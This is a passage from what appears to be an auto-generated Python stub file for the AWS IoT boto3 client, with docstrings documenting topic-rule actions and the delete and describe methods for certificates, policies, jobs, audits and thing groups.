access to the Salesforce IoT Cloud Input Stream. The token is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **url** *(string) --* **[REQUIRED]** The URL exposed by the Salesforce IoT Cloud Input Stream. The URL is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **iotAnalytics** *(dict) --* Sends message data to an AWS IoT Analytics channel. - **channelArn** *(string) --* (deprecated) The ARN of the IoT Analytics channel to which message data will be sent. - **channelName** *(string) --* The name of the IoT Analytics channel to which message data will be sent. - **roleArn** *(string) --* The ARN of the role which has a policy that grants IoT Analytics permission to send message data via IoT Analytics (iotanalytics:BatchPutMessage). - **iotEvents** *(dict) --* Sends an input to an AWS IoT Events detector. - **inputName** *(string) --* **[REQUIRED]** The name of the AWS IoT Events input. - **messageId** *(string) --* [Optional] Use this to ensure that only one input (message) with a given messageId will be processed by an AWS IoT Events detector. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants AWS IoT permission to send an input to an AWS IoT Events detector. (\"Action\":\"iotevents:BatchPutMessage\"). - **stepFunctions** *(dict) --* Starts execution of a Step Functions state machine. - **executionNamePrefix** *(string) --* (Optional) A name will be given to the state machine execution consisting of this prefix followed by a UUID. Step Functions automatically creates a unique name for each state machine execution if one is not provided. - **stateMachineName** *(string) --* **[REQUIRED]** The name of the Step Functions state machine whose execution will be started. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants IoT permission to start execution of a state machine (\"Action\":\"states:StartExecution\"). - **ruleDisabled** *(boolean) --* Specifies whether the rule is disabled. - **awsIotSqlVersion** *(string) --* The version of the SQL rules engine to use when evaluating the rule. - **errorAction** *(dict) --* The action to take when an error occurs. - **dynamoDB** *(dict) --* Write to a DynamoDB table. - **tableName** *(string) --* **[REQUIRED]** The name of the DynamoDB table. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the DynamoDB table. - **operation** *(string) --* The type of operation to be performed. This follows the substitution template, so it can be ``${operation}`` , but the substitution must result in one of the following: ``INSERT`` , ``UPDATE`` , or ``DELETE`` . - **hashKeyField** *(string) --* **[REQUIRED]** The hash key name. - **hashKeyValue** *(string) --* **[REQUIRED]** The hash key value. - **hashKeyType** *(string) --* The hash key type. Valid values are \"STRING\" or \"NUMBER\" - **rangeKeyField** *(string) --* The range key name. - **rangeKeyValue** *(string) --* The range key value. - **rangeKeyType** *(string) --* The range key type. Valid values are \"STRING\" or \"NUMBER\" - **payloadField** *(string) --* The action payload. This name can be customized. - **dynamoDBv2** *(dict) --* Write to a DynamoDB table. This is a new version of the DynamoDB action. It allows you to write each attribute in an MQTT message payload into a separate DynamoDB column. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the DynamoDB table. - **putItem** *(dict) --* **[REQUIRED]** Specifies the DynamoDB table to which the message data will be written. For example: ``{ \"dynamoDBv2\": { \"roleArn\": \"aws:iam:12341251:my-role\" \"putItem\": { \"tableName\": \"my-table\" } } }`` Each attribute in the message payload will be written to a separate column in the DynamoDB database. - **tableName** *(string) --* **[REQUIRED]** The table where the message data will be written - **lambda** *(dict) --* Invoke a Lambda function. - **functionArn** *(string) --* **[REQUIRED]** The ARN of the Lambda function. - **sns** *(dict) --* Publish to an Amazon SNS topic. - **targetArn** *(string) --* **[REQUIRED]** The ARN of the SNS topic. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **messageFormat** *(string) --* (Optional) The message format of the message to publish. Accepted values are \"JSON\" and \"RAW\". The default value of the attribute is \"RAW\". SNS uses this setting to determine if the payload should be parsed and relevant platform-specific bits of the payload should be extracted. To read more about SNS message formats, see `https\://docs.aws.amazon.com/sns/latest/dg/json-formats.html <https://docs.aws.amazon.com/sns/latest/dg/json-formats.html>`__ refer to their official documentation. - **sqs** *(dict) --* Publish to an Amazon SQS queue. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **queueUrl** *(string) --* **[REQUIRED]** The URL of the Amazon SQS queue. - **useBase64** *(boolean) --* Specifies whether to use Base64 encoding. - **kinesis** *(dict) --* Write data to an Amazon Kinesis stream. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access to the Amazon Kinesis stream. - **streamName** *(string) --* **[REQUIRED]** The name of the Amazon Kinesis stream. - **partitionKey** *(string) --* The partition key. - **republish** *(dict) --* Publish to another MQTT topic. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **topic** *(string) --* **[REQUIRED]** The name of the MQTT topic. - **s3** *(dict) --* Write to an Amazon S3 bucket. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the IAM role that grants access. - **bucketName** *(string) --* **[REQUIRED]** The Amazon S3 bucket. - **key** *(string) --* **[REQUIRED]** The object key. - **cannedAcl** *(string) --* The Amazon S3 canned ACL that controls access to the object identified by the object key. For more information, see `S3 canned ACLs <https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl>`__ . - **firehose** *(dict) --* Write to an Amazon Kinesis Firehose stream. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that grants access to the Amazon Kinesis Firehose stream. - **deliveryStreamName** *(string) --* **[REQUIRED]** The delivery stream name. - **separator** *(string) --* A character separator that will be used to separate records written to the Firehose stream. Valid values are: \'\n\' (newline), \'\t\' (tab), \'\r\n\' (Windows newline), \',\' (comma). - **cloudwatchMetric** *(dict) --* Capture a CloudWatch metric. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that allows access to the CloudWatch metric. - **metricNamespace** *(string) --* **[REQUIRED]** The CloudWatch metric namespace name. - **metricName** *(string) --* **[REQUIRED]** The CloudWatch metric name. - **metricValue** *(string) --* **[REQUIRED]** The CloudWatch metric value. - **metricUnit** *(string) --* **[REQUIRED]** The `metric unit <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#Unit>`__ supported by CloudWatch. - **metricTimestamp** *(string) --* An optional `Unix timestamp <https://docs.aws.amazon.com/AmazonCloudWatch/latest/DeveloperGuide/cloudwatch_concepts.html#about_timestamp>`__ . - **cloudwatchAlarm** *(dict) --* Change the state of a CloudWatch alarm. - **roleArn** *(string) --* **[REQUIRED]** The IAM role that allows access to the CloudWatch alarm. - **alarmName** *(string) --* **[REQUIRED]** The CloudWatch alarm name. - **stateReason** *(string) --* **[REQUIRED]** The reason for the alarm change. - **stateValue** *(string) --* **[REQUIRED]** The value of the alarm state. Acceptable values are: OK, ALARM, INSUFFICIENT_DATA. - **elasticsearch** *(dict) --* Write data to an Amazon Elasticsearch Service domain. - **roleArn** *(string) --* **[REQUIRED]** The IAM role ARN that has access to Elasticsearch. - **endpoint** *(string) --* **[REQUIRED]** The endpoint of your Elasticsearch domain. - **index** *(string) --* **[REQUIRED]** The Elasticsearch index where you want to store your data. - **type** *(string) --* **[REQUIRED]** The type of document you are storing. - **id** *(string) --* **[REQUIRED]** The unique identifier for the document you are storing. - **salesforce** *(dict) --* Send a message to a Salesforce IoT Cloud Input Stream. - **token** *(string) --* **[REQUIRED]** The token used to authenticate access to the Salesforce IoT Cloud Input Stream. The token is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **url** *(string) --* **[REQUIRED]** The URL exposed by the Salesforce IoT Cloud Input Stream. The URL is available from the Salesforce IoT Cloud platform after creation of the Input Stream. - **iotAnalytics** *(dict) --* Sends message data to an AWS IoT Analytics channel. - **channelArn** *(string) --* (deprecated) The ARN of the IoT Analytics channel to which message data will be sent. - **channelName** *(string) --* The name of the IoT Analytics channel to which message data will be sent. - **roleArn** *(string) --* The ARN of the role which has a policy that grants IoT Analytics permission to send message data via IoT Analytics (iotanalytics:BatchPutMessage). - **iotEvents** *(dict) --* Sends an input to an AWS IoT Events detector. - **inputName** *(string) --* **[REQUIRED]** The name of the AWS IoT Events input. - **messageId** *(string) --* [Optional] Use this to ensure that only one input (message) with a given messageId will be processed by an AWS IoT Events detector. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants AWS IoT permission to send an input to an AWS IoT Events detector. (\"Action\":\"iotevents:BatchPutMessage\"). - **stepFunctions** *(dict) --* Starts execution of a Step Functions state machine. - **executionNamePrefix** *(string) --* (Optional) A name will be given to the state machine execution consisting of this prefix followed by a UUID. Step Functions automatically creates a unique name for each state machine execution if one is not provided. - **stateMachineName** *(string) --* **[REQUIRED]** The name of the Step Functions state machine whose execution will be started. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants IoT permission to start execution of a state machine (\"Action\":\"states:StartExecution\"). :type tags: string :param tags: Metadata which can be used to manage the topic rule. .. note:: For URI Request parameters use format: ...key1=value1&key2=value2... For the CLI command-line parameter use format: --tags \"key1=value1&key2=value2...\" For the cli-input-json file use format: \"tags\": \"key1=value1&key2=value2...\" :returns: None """ pass def delete_account_audit_configuration(self, deleteScheduledAudits: bool = None) -> Dict: """ Restores the default settings for Device Defender audits for this account. Any configuration data you entered is deleted and all audit checks are reset to disabled. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteAccountAuditConfiguration>`_ **Request Syntax** :: response = client.delete_account_audit_configuration( deleteScheduledAudits=True|False ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type deleteScheduledAudits: boolean :param deleteScheduledAudits: If true, all scheduled audits are deleted. :rtype: dict :returns: """ pass def delete_authorizer(self, authorizerName: str) -> Dict: """ Deletes an authorizer. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteAuthorizer>`_ **Request Syntax** :: response = client.delete_authorizer( authorizerName='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type authorizerName: string :param authorizerName: **[REQUIRED]** The name of the authorizer to delete. :rtype: dict :returns: """ pass def delete_billing_group(self, billingGroupName: str, expectedVersion: int = None) -> Dict: """ Deletes the billing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteBillingGroup>`_ **Request Syntax** :: response = client.delete_billing_group( billingGroupName='string', expectedVersion=123 ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type billingGroupName: string :param billingGroupName: **[REQUIRED]** The name of the billing group. :type expectedVersion: integer :param expectedVersion: The expected version of the billing group. If the version of the billing group does not match the expected version specified in the request, the ``DeleteBillingGroup`` request is rejected with a ``VersionConflictException`` . :rtype: dict :returns: """ pass def delete_ca_certificate(self, certificateId: str) -> Dict: """ Deletes a registered CA certificate. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteCACertificate>`_ **Request Syntax** :: response = client.delete_ca_certificate( certificateId='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* The output for the DeleteCACertificate operation. :type certificateId: string :param certificateId: **[REQUIRED]** The ID of the certificate to delete. (The last part of the certificate ARN contains the certificate ID.) :rtype: dict :returns: """ pass def delete_certificate(self, certificateId: str, forceDelete: bool = None): """ Deletes the specified certificate. A certificate cannot be deleted if it has a policy attached to it or if its status is set to ACTIVE. To delete a certificate, first use the DetachPrincipalPolicy API to detach all policies. Next, use the UpdateCertificate API to set the certificate to the INACTIVE status. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteCertificate>`_ **Request Syntax** :: response = client.delete_certificate( certificateId='string', forceDelete=True|False ) :type certificateId: string :param certificateId: **[REQUIRED]** The ID of the certificate. (The last part of the certificate ARN contains the certificate ID.) :type forceDelete: boolean :param forceDelete: Forces a certificate request to be deleted. :returns: None """ pass def delete_dynamic_thing_group(self, thingGroupName: str, expectedVersion: int = None) -> Dict: """ Deletes a dynamic thing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteDynamicThingGroup>`_ **Request Syntax** :: response = client.delete_dynamic_thing_group( thingGroupName='string', expectedVersion=123 ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type thingGroupName: string :param thingGroupName: **[REQUIRED]** The name of the dynamic thing group to delete. :type expectedVersion: integer :param expectedVersion: The expected version of the dynamic thing group to delete. :rtype: dict :returns: """ pass def delete_job(self, jobId: str, force: bool = None): """ Deletes a job and its related job executions. Deleting a job may take time, depending on the number of job executions created for the job and various other factors. While the job is being deleted, the status of the job will be shown as "DELETION_IN_PROGRESS". Attempting to delete or cancel a job whose status is already "DELETION_IN_PROGRESS" will result in an error. Only 10 jobs may have status "DELETION_IN_PROGRESS" at the same time, or a LimitExceededException will occur. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteJob>`_ **Request Syntax** :: response = client.delete_job( jobId='string', force=True|False ) :type jobId: string :param jobId: **[REQUIRED]** The ID of the job to be deleted. After a job deletion is completed, you may reuse this jobId when you create a new job. However, this is not recommended, and you must ensure that your devices are not using the jobId to refer to the deleted job. :type force: boolean :param force: (Optional) When true, you can delete a job which is \"IN_PROGRESS\". Otherwise, you can only delete a job which is in a terminal state (\"COMPLETED\" or \"CANCELED\") or an exception will occur. The default is false. .. note:: Deleting a job which is \"IN_PROGRESS\", will cause a device which is executing the job to be unable to access job information or update the job execution status. Use caution and ensure that each device executing a job which is deleted is able to recover to a valid state. :returns: None """ pass def delete_job_execution(self, jobId: str, thingName: str, executionNumber: int, force: bool = None): """ Deletes a job execution. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteJobExecution>`_ **Request Syntax** :: response = client.delete_job_execution( jobId='string', thingName='string', executionNumber=123, force=True|False ) :type jobId: string :param jobId: **[REQUIRED]** The ID of the job whose execution on a particular device will be deleted. :type thingName: string :param thingName: **[REQUIRED]** The name of the thing whose job execution will be deleted. :type executionNumber: integer :param executionNumber: **[REQUIRED]** The ID of the job execution to be deleted. The ``executionNumber`` refers to the execution of a particular job on a particular device. Note that once a job execution is deleted, the ``executionNumber`` may be reused by IoT, so be sure you get and use the correct value here. :type force: boolean :param force: (Optional) When true, you can delete a job execution which is \"IN_PROGRESS\". Otherwise, you can only delete a job execution which is in a terminal state (\"SUCCEEDED\", \"FAILED\", \"REJECTED\", \"REMOVED\" or \"CANCELED\") or an exception will occur. The default is false. .. note:: Deleting a job execution which is \"IN_PROGRESS\", will cause the device to be unable to access job information or update the job execution status. Use caution and ensure that the device is able to recover to a valid state. :returns: None """ pass def delete_ota_update(self, otaUpdateId: str, deleteStream: bool = None, forceDeleteAWSJob: bool = None) -> Dict: """ Delete an OTA update. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteOTAUpdate>`_ **Request Syntax** :: response = client.delete_ota_update( otaUpdateId='string', deleteStream=True|False, forceDeleteAWSJob=True|False ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type otaUpdateId: string :param otaUpdateId: **[REQUIRED]** The OTA update ID to delete. :type deleteStream: boolean :param deleteStream: Specifies if the stream associated with an OTA update should be deleted when the OTA update is deleted. :type forceDeleteAWSJob: boolean :param forceDeleteAWSJob: Specifies if the AWS Job associated with the OTA update should be deleted with the OTA update is deleted. :rtype: dict :returns: """ pass def delete_policy(self, policyName: str): """ Deletes the specified policy. A policy cannot be deleted if it has non-default versions or it is attached to any certificate. To delete a policy, use the DeletePolicyVersion API to delete all non-default versions of the policy; use the DetachPrincipalPolicy API to detach the policy from any certificate; and then use the DeletePolicy API to delete the policy. When a policy is deleted using DeletePolicy, its default version is deleted with it. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeletePolicy>`_ **Request Syntax** :: response = client.delete_policy( policyName='string' ) :type policyName: string :param policyName: **[REQUIRED]** The name of the policy to delete. :returns: None """ pass def delete_policy_version(self, policyName: str, policyVersionId: str): """ Deletes the specified version of the specified policy. You cannot delete the default version of a policy using this API. To delete the default version of a policy, use DeletePolicy . To find out which version of a policy is marked as the default version, use ListPolicyVersions. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeletePolicyVersion>`_ **Request Syntax** :: response = client.delete_policy_version( policyName='string', policyVersionId='string' ) :type policyName: string :param policyName: **[REQUIRED]** The name of the policy. :type policyVersionId: string :param policyVersionId: **[REQUIRED]** The policy version ID. :returns: None """ pass def delete_registration_code(self) -> Dict: """ Deletes a CA certificate registration code. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteRegistrationCode>`_ **Request Syntax** :: response = client.delete_registration_code() **Response Syntax** :: {} **Response Structure** - *(dict) --* The output for the DeleteRegistrationCode operation. :rtype: dict :returns: """ pass def delete_role_alias(self, roleAlias: str) -> Dict: """ Deletes a role alias See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteRoleAlias>`_ **Request Syntax** :: response = client.delete_role_alias( roleAlias='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type roleAlias: string :param roleAlias: **[REQUIRED]** The role alias to delete. :rtype: dict :returns: """ pass def delete_scheduled_audit(self, scheduledAuditName: str) -> Dict: """ Deletes a scheduled audit. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteScheduledAudit>`_ **Request Syntax** :: response = client.delete_scheduled_audit( scheduledAuditName='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type scheduledAuditName: string :param scheduledAuditName: **[REQUIRED]** The name of the scheduled audit you want to delete. :rtype: dict :returns: """ pass def delete_security_profile(self, securityProfileName: str, expectedVersion: int = None) -> Dict: """ Deletes a Device Defender security profile. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteSecurityProfile>`_ **Request Syntax** :: response = client.delete_security_profile( securityProfileName='string', expectedVersion=123 ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type securityProfileName: string :param securityProfileName: **[REQUIRED]** The name of the security profile to be deleted. :type expectedVersion: integer :param expectedVersion: The expected version of the security profile. A new version is generated whenever the security profile is updated. If you specify a value that is different than the actual version, a ``VersionConflictException`` is thrown. :rtype: dict :returns: """ pass def delete_stream(self, streamId: str) -> Dict: """ Deletes a stream. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteStream>`_ **Request Syntax** :: response = client.delete_stream( streamId='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type streamId: string :param streamId: **[REQUIRED]** The stream ID. :rtype: dict :returns: """ pass def delete_thing(self, thingName: str, expectedVersion: int = None) -> Dict: """ Deletes the specified thing. Returns successfully with no error if the deletion is successful or you specify a thing that doesn't exist. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteThing>`_ **Request Syntax** :: response = client.delete_thing( thingName='string', expectedVersion=123 ) **Response Syntax** :: {} **Response Structure** - *(dict) --* The output of the DeleteThing operation. :type thingName: string :param thingName: **[REQUIRED]** The name of the thing to delete. :type expectedVersion: integer :param expectedVersion: The expected version of the thing record in the registry. If the version of the record in the registry does not match the expected version specified in the request, the ``DeleteThing`` request is rejected with a ``VersionConflictException`` . :rtype: dict :returns: """ pass def delete_thing_group(self, thingGroupName: str, expectedVersion: int = None) -> Dict: """ Deletes a thing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteThingGroup>`_ **Request Syntax** :: response = client.delete_thing_group( thingGroupName='string', expectedVersion=123 ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type thingGroupName: string :param thingGroupName: **[REQUIRED]** The name of the thing group to delete. :type expectedVersion: integer :param expectedVersion: The expected version of the thing group to delete. :rtype: dict :returns: """ pass def delete_thing_type(self, thingTypeName: str) -> Dict: """ Deletes the specified thing type. You cannot delete a thing type if it has things associated with it. To delete a thing type, first mark it as deprecated by calling DeprecateThingType , then remove any associated things by calling UpdateThing to change the thing type on any associated thing, and finally use DeleteThingType to delete the thing type. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteThingType>`_ **Request Syntax** :: response = client.delete_thing_type( thingTypeName='string' ) **Response Syntax** :: {} **Response Structure** - *(dict) --* The output for the DeleteThingType operation. :type thingTypeName: string :param thingTypeName: **[REQUIRED]** The name of the thing type. :rtype: dict :returns: """ pass def delete_topic_rule(self, ruleName: str): """ Deletes the rule. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteTopicRule>`_ **Request Syntax** :: response = client.delete_topic_rule( ruleName='string' ) :type ruleName: string :param ruleName: **[REQUIRED]** The name of the rule. :returns: None """ pass def delete_v2_logging_level(self, targetType: str, targetName: str): """ Deletes a logging level. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeleteV2LoggingLevel>`_ **Request Syntax** :: response = client.delete_v2_logging_level( targetType='DEFAULT'|'THING_GROUP', targetName='string' ) :type targetType: string :param targetType: **[REQUIRED]** The type of resource for which you are configuring logging. Must be ``THING_Group`` . :type targetName: string :param targetName: **[REQUIRED]** The name of the resource for which you are configuring logging. :returns: None """ pass def deprecate_thing_type(self, thingTypeName: str, undoDeprecate: bool = None) -> Dict: """ Deprecates a thing type. You can not associate new things with deprecated thing type. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DeprecateThingType>`_ **Request Syntax** :: response = client.deprecate_thing_type( thingTypeName='string', undoDeprecate=True|False ) **Response Syntax** :: {} **Response Structure** - *(dict) --* The output for the DeprecateThingType operation. :type thingTypeName: string :param thingTypeName: **[REQUIRED]** The name of the thing type to deprecate. :type undoDeprecate: boolean :param undoDeprecate: Whether to undeprecate a deprecated thing type. If **true** , the thing type will not be deprecated anymore and you can associate it with things. :rtype: dict :returns: """ pass def describe_account_audit_configuration(self) -> Dict: """ Gets information about the Device Defender audit settings for this account. Settings include how audit notifications are sent and which audit checks are enabled or disabled. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeAccountAuditConfiguration>`_ **Request Syntax** :: response = client.describe_account_audit_configuration() **Response Syntax** :: { 'roleArn': 'string', 'auditNotificationTargetConfigurations': { 'string': { 'targetArn': 'string', 'roleArn': 'string', 'enabled': True|False } }, 'auditCheckConfigurations': { 'string': { 'enabled': True|False } } } **Response Structure** - *(dict) --* - **roleArn** *(string) --* The ARN of the role that grants permission to AWS IoT to access information about your devices, policies, certificates and other items as necessary when performing an audit. On the first call to ``UpdateAccountAuditConfiguration`` this parameter is required. - **auditNotificationTargetConfigurations** *(dict) --* Information about the targets to which audit notifications are sent for this account. - *(string) --* - *(dict) --* Information about the targets to which audit notifications are sent. - **targetArn** *(string) --* The ARN of the target (SNS topic) to which audit notifications are sent. - **roleArn** *(string) --* The ARN of the role that grants permission to send notifications to the target. - **enabled** *(boolean) --* True if notifications to the target are enabled. - **auditCheckConfigurations** *(dict) --* Which audit checks are enabled and disabled for this account. - *(string) --* An audit check name. Checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) - *(dict) --* Which audit checks are enabled and disabled for this account. - **enabled** *(boolean) --* True if this audit check is enabled for this account. :rtype: dict :returns: """ pass def describe_audit_task(self, taskId: str) -> Dict: """ Gets information about a Device Defender audit. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeAuditTask>`_ **Request Syntax** :: response = client.describe_audit_task( taskId='string' ) **Response Syntax** :: { 'taskStatus': 'IN_PROGRESS'|'COMPLETED'|'FAILED'|'CANCELED', 'taskType': 'ON_DEMAND_AUDIT_TASK'|'SCHEDULED_AUDIT_TASK', 'taskStartTime': datetime(2015, 1, 1), 'taskStatistics': { 'totalChecks': 123, 'inProgressChecks': 123, 'waitingForDataCollectionChecks': 123, 'compliantChecks': 123, 'nonCompliantChecks': 123, 'failedChecks': 123, 'canceledChecks': 123 }, 'scheduledAuditName': 'string', 'auditDetails': { 'string': { 'checkRunStatus': 'IN_PROGRESS'|'WAITING_FOR_DATA_COLLECTION'|'CANCELED'|'COMPLETED_COMPLIANT'|'COMPLETED_NON_COMPLIANT'|'FAILED', 'checkCompliant': True|False, 'totalResourcesCount': 123, 'nonCompliantResourcesCount': 123, 'errorCode': 'string', 'message': 'string' } } } **Response Structure** - *(dict) --* - **taskStatus** *(string) --* The status of the audit: one of "IN_PROGRESS", "COMPLETED", "FAILED", or "CANCELED". - **taskType** *(string) --* The type of audit: "ON_DEMAND_AUDIT_TASK" or "SCHEDULED_AUDIT_TASK". - **taskStartTime** *(datetime) --* The time the audit started. - **taskStatistics** *(dict) --* Statistical information about the audit. - **totalChecks** *(integer) --* The number of checks in this audit. - **inProgressChecks** *(integer) --* The number of checks in progress. - **waitingForDataCollectionChecks** *(integer) --* The number of checks waiting for data collection. - **compliantChecks** *(integer) --* The number of checks that found compliant resources. - **nonCompliantChecks** *(integer) --* The number of checks that found non-compliant resources. - **failedChecks** *(integer) --* The number of checks - **canceledChecks** *(integer) --* The number of checks that did not run because the audit was canceled. - **scheduledAuditName** *(string) --* The name of the scheduled audit (only if the audit was a scheduled audit). - **auditDetails** *(dict) --* Detailed information about each check performed during this audit. - *(string) --* An audit check name. Checks must be enabled for your account. (Use ``DescribeAccountAuditConfiguration`` to see the list of all checks including those that are enabled or ``UpdateAccountAuditConfiguration`` to select which checks are enabled.) - *(dict) --* Information about the audit check. - **checkRunStatus** *(string) --* The completion status of this check, one of "IN_PROGRESS", "WAITING_FOR_DATA_COLLECTION", "CANCELED", "COMPLETED_COMPLIANT", "COMPLETED_NON_COMPLIANT", or "FAILED". - **checkCompliant** *(boolean) --* True if the check completed and found all resources compliant. - **totalResourcesCount** *(integer) --* The number of resources on which the check was performed. - **nonCompliantResourcesCount** *(integer) --* The number of resources that the check found non-compliant. - **errorCode** *(string) --* The code of any error encountered when performing this check during this audit. One of "INSUFFICIENT_PERMISSIONS", or "AUDIT_CHECK_DISABLED". - **message** *(string) --* The message associated with any error encountered when performing this check during this audit. :type taskId: string :param taskId: **[REQUIRED]** The ID of the audit whose information you want to get. :rtype: dict :returns: """ pass def describe_authorizer(self, authorizerName: str) -> Dict: """ Describes an authorizer. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeAuthorizer>`_ **Request Syntax** :: response = client.describe_authorizer( authorizerName='string' ) **Response Syntax** :: { 'authorizerDescription': { 'authorizerName': 'string', 'authorizerArn': 'string', 'authorizerFunctionArn': 'string', 'tokenKeyName': 'string', 'tokenSigningPublicKeys': { 'string': 'string' }, 'status': 'ACTIVE'|'INACTIVE', 'creationDate': datetime(2015, 1, 1), 'lastModifiedDate': datetime(2015, 1, 1) } } **Response Structure** - *(dict) --* - **authorizerDescription** *(dict) --* The authorizer description. - **authorizerName** *(string) --* The authorizer name. - **authorizerArn** *(string) --* The authorizer ARN. - **authorizerFunctionArn** *(string) --* The authorizer's Lambda function ARN. - **tokenKeyName** *(string) --* The key used to extract the token from the HTTP headers. - **tokenSigningPublicKeys** *(dict) --* The public keys used to validate the token signature returned by your custom authentication service. - *(string) --* - *(string) --* - **status** *(string) --* The status of the authorizer. - **creationDate** *(datetime) --* The UNIX timestamp of when the authorizer was created. - **lastModifiedDate** *(datetime) --* The UNIX timestamp of when the authorizer was last updated. :type authorizerName: string :param authorizerName: **[REQUIRED]** The name of the authorizer to describe. :rtype: dict :returns: """ pass def describe_billing_group(self, billingGroupName: str) -> Dict: """ Returns information about a billing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeBillingGroup>`_ **Request Syntax** :: response = client.describe_billing_group( billingGroupName='string' ) **Response Syntax** :: { 'billingGroupName': 'string', 'billingGroupId': 'string', 'billingGroupArn': 'string', 'version': 123, 'billingGroupProperties': { 'billingGroupDescription': 'string' }, 'billingGroupMetadata': { 'creationDate': datetime(2015, 1, 1) } } **Response Structure** - *(dict) --* - **billingGroupName** *(string) --* The name of the billing group. - **billingGroupId** *(string) --* The ID of the billing group. - **billingGroupArn** *(string) --* The ARN of the billing group. - **version** *(integer) --* The version of the billing group. - **billingGroupProperties** *(dict) --* The properties of the billing group. - **billingGroupDescription** *(string) --* The description of the billing group. - **billingGroupMetadata** *(dict) --* Additional information about the billing group. - **creationDate** *(datetime) --* The date the billing group was created. :type billingGroupName: string :param billingGroupName: **[REQUIRED]** The name of the billing group. :rtype: dict :returns: """ pass def describe_ca_certificate(self, certificateId: str) -> Dict: """ Describes a registered CA certificate. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/DescribeCACertificate>`_ **Request Syntax** :: response = client.describe_ca_certificate( certificateId='string' ) **Response Syntax** :: { 'certificateDescription': { 'certificateArn': 'string', 'certificateId': 'string', 'status': 'ACTIVE'|'INACTIVE', 'certificatePem': 'string', 'ownedBy': 'string', 'creationDate': datetime(2015, 1, 1), 'autoRegistrationStatus': 'ENABLE'|'DISABLE', 'lastModifiedDate': datetime(2015, 1, 1), 'customerVersion': 123, 'generationId': 'string', 'validity': { 'notBefore': datetime(2015, 1, 1), 'notAfter': datetime(2015, 1, 1) } }, 'registrationConfig': { 'templateBody': 'string', 'roleArn': 'string' } } **Response Structure** - *(dict) --* The output from the DescribeCACertificate operation. - **certificateDescription** *(dict) --* The CA certificate description. - **certificateArn** *(string) --* The CA certificate ARN. - **certificateId** *(string) --* The CA certificate ID. - **status** *(string) --* The status of a CA certificate. - **certificatePem** *(string) --* The CA certificate data, in PEM format. - **ownedBy** *(string) --* The owner of the CA certificate. - **creationDate** *(datetime) --* The date the CA certificate was created. - **autoRegistrationStatus** *(string) 